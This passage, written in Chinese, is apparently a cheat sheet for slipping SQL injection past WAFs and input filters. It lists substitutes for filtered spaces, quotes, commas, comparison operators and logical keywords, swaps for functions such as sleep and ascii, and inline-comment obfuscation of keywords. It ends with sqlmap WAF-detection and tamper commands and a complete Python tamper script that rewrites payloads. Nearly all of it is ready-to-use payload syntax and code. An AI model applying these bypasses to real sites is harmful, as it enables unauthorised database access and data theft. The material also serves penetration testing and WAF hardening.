(3). 特定符号被过滤
①空格被过滤
符号 替换内容 空格 %20 (标准空格) 空格 %09 (tab键,水平) 空格 %0a (换行符) 空格 %a0 (不间断空格) 空格 %0b (tab键,垂直) 空格 %0c (新的一页) ②单引号被过滤
- 将字符转换为16进制,不使用单引号
select * from users where username='Dumb' => select * from users where username=0x44756d62
③逗号被过滤
#1. from to select substr(database(),1,1); => select substr(database() from 1 to 1); #2. join select 1,2,3 => select * from (select 1)a join (select 2)b join (select 3)c #3. offset select * from users limit 0,1; => select * from users limit 1 offset 0;
④逻辑判断符被过滤
#1. 等于号(=)绕过 ①1' or 1=1 => 1' or 1<>1 ②1' or 1=1 => 1' or 1 like 1a #2. 单个比较符的绕过 #1. sqlmap可以使用between脚本,用greatest()返回给定表达式中最大值,least()返回给定表达式中最小值 select * from users where id=1 and ascii(substr(user(),1,1))>100 => select * from users where id=1 and greatest(ascii(substr(user(),1,1)),100)=100 #2. 使用字符编码 a. 实体编码 < => < > => > b. ASCII码 < => %3C > => %3E c. Unicode编码 < => \u003C > => \u003E #3. 使用替代函数 < => CHAR(60) > => CHAR(62)
⑤or and xor not绕过
#1. 使用逻辑判断符替代 and => && or => || xor => | not => ! #2. 使用内联注释 /*!and*/、/*!%23/*%0aand*/
⑥函数过滤
1. sleep() => benchmark(10000000,md5(1)) 2. ascii() => ord() 3. group_concat() => concat_ws() 例如:select group_concat(1,' -- ',1,' -- ',1) => select concat_ws(' -- ',1,1,1) 4. substr() => mid()、substring()、left()、right()
⑦常见绕过方式
1. 绕过关键字检测 a. user() --> user/*//--//*/() 或 database/*%!a*/() b. from --> /*!%23/*%0aform*/ c. 大小写替换 d. 重复关键字 2. 绕过2个及以上检测语句 union select --> union/*//--/*/select union select 1,2,3 --> union /*!--+/*%0aselect/*!1,2,*/ 3
(3). 编写tamper
a. 检测WAF种类
1. 检测WAF种类 sqlmap -u [URL] --identify-waf(--check-waf) 2. 绕过WAF sqlmap -u [URL] --tamper "模块名"
b. 模板
from lib.core.enums import PRIORITY import os __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace('AND', '/*!%23/*%0aAND*/') payload = payload.replace('DATABASE()', 'DATABASE/*$%^a*/()') payload = payload.replace('FROM', '/*!%23/*%0afrom*/') payload = payload.replace('UNION ALL', 'union/*!99999*/all') payload = payload.replace('SESSION_USER()', 'USER()') payload = payload.replace('USER()', 'USER/*////*/()') return payload
-